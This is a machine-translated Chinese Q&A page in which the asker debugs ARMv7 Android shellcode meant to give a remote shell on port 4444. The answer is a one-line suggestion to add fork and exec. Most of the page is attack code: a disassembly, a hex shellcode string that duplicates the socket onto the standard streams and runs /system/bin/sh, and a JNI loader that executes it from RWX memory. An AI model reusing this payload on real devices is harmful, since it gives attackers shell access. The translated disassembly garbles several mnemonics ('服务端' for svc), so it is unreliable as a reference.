首页 > 解决方案 > Android绑定TCP shellcode - 连接被拒绝

问题描述

我的以下armv7 tcp 绑定 shell 代码步骤:

部分.text的反汇编:
_start e28f3001 添加 r3, pc, #1 ; 切换到拇指模式
_start+0x4 e12fff13 bx r3
// 套接字(2, 1, 0)
_start+0x8 2002 移动 r0, #2
_start+0xa 2101 移动 r1, #1
_start+0xc 1a92 subs r2, r2, r2
_start+0xe 27c8 移动 r7, #200
_start+0x10 3751 添加 r7, #81 ; r7 = 281(插座)
_start+0x12 df01 服务端 1 ; r0 = 结果 sockfd
_start+0x14 1c04 添加 r4, r0, #0 ; 在 r4 中保存 sockfd
// 连接(r0, &sockaddr, 16)
_start+0x16 a10a 添加 r1, pc, #40 ; (adr r1, 结构)
_start+0x18 704a strb r2, [r1, #1] ; 为 AF_INET 写 0
_start+0x1a 2210 移动 r2,#16
_start+0x1c 3702 添加 r7, #2 ; r7 = 283(连接)
_start+0x1e df01 svc 1
// dup2(sockfd, 0)
_start+0x20 273f 移动 r7, #63 ; r7 = 63 (dup2)
_start+0x22 1c20 添加 r0, r4, #0 ; r4 是保存的 sockfd
_start+0x24 1a49 subs r1, r1, r1 ; r1 = 0(标准输入)
_start+0x26 df01 服务端 1
// dup2(sockfd, 1)
_start+0x28 1c20 添加 r0, r4, #0
_start+0x2a 2101 移动 r1, #1
_start+0x2c df01 服务端 1
// dup2(sockfd, 2)
_start+0x2e 1c20 添加 r0, r4, #0
_start+0x30 2102 移动 r1, #2
_start+0x32 df01 服务端 1
// execve("/system/bin/sh", 0, 0)
_start+0x34 a004 添加 r0, pc, #16 ; (adr r0, binsh)
_start+0x36 1a92 subs r2, r2, r2
_start+0x38 1a49 subs r1, r1, r1
_start+0x3a 7382 strb r2, [r0, #14]
_start+0x3c 270b 移动 r7, #11
_start+0x3e df01 svc 1
// 结构:
// .ascii "\x02\xff" // AF_INET 0xff 将被清空
// .ascii "\x11\x5c" // 端口 4444
// .byte 0,0,0,0 // IP 地址(接受任何?)
结构 5c11ff02 .word 0x5c11ff02
结构+0x4 00000000 .word 0x00000000
// .ascii "/system/bin/shX"
binsh 7379732f .word 0x7379732f
binsh+0x4 2f6d6574 .word 0x2f6d6574
binsh+0x8 2f6e6962 .word 0x2f6e6962
binsh+0xc 6873 .short 0x6873
binsh+0xe 58 .byte 0x58

通过 JNI 执行

char SC[] = "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c\x0a\xa1\x4a\x70\x10\x22\x02\x37\x01\xdf\x3f\x27\x20\x1c\x49\x1a\x01\xdf\x20\x1c\x01\x21\x01\xdf\x20\x1c\x02\x21\x01\xdf\x04\xa0\x92\x1a\x49\x1a\x82\x73\x0b\x27\x01\xdf\x02\xff\x11\x5c\x00\x00\x00\x00\x2f\x73\x79\x73\x74\x65\x6d\x2f\x62\x69\x6e\x2f\x73\x68\x58\x00";

JNIEXPORT jstring JNICALL Java_com_MainActivity_run(JNIEnv *env, jobject obj) {
    char* code = mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
    memcpy(code, SC, 300);
    void (*func)() = (void (*)())code;
    func();
    return (*env)->NewStringUTF(env, "hello");
}

mmap用于设置 shellcode 的执行权限。

在 MainActivity#onCreate 我执行原生函数run

使用 gdb (v7.1) 进行调试我看到了 shellcode。

gdb $ x/10i $pc
=> 0xb402a05c: 服务端 1
   0xb402a05e:无;(移动 r8,r8)
gdb $ n
进程 8467 正在执行新程序:/system/bin/sh
从远程目标读取 /system/bin/sh...
从远程目标读取 /system/bin/sh...
重新设置断点 1 时出错:未加载符号表。使用“文件”命令。

我正在尝试使用 netcat 从我的本地主机连接,但连接被拒绝,因为没有开放端口。

执行cat /proc/net/tcp表明。

执行ps显示具有“/system/bin/sh”处于僵尸状态的新进程。

根@androidv7:/#ps | grep 8467                                                 
u0_a298 8467 2002 0 0 c002a898 00000000 Z sh

我需要用, &替换我的exec系统调用吗?forkexecgetpid

有什么帮助吗?

参考:

标签: androidarmjava-native-interfaceshellcode

解决方案


在孩子上添加fork和执行exec解决了这个问题。


推荐阅读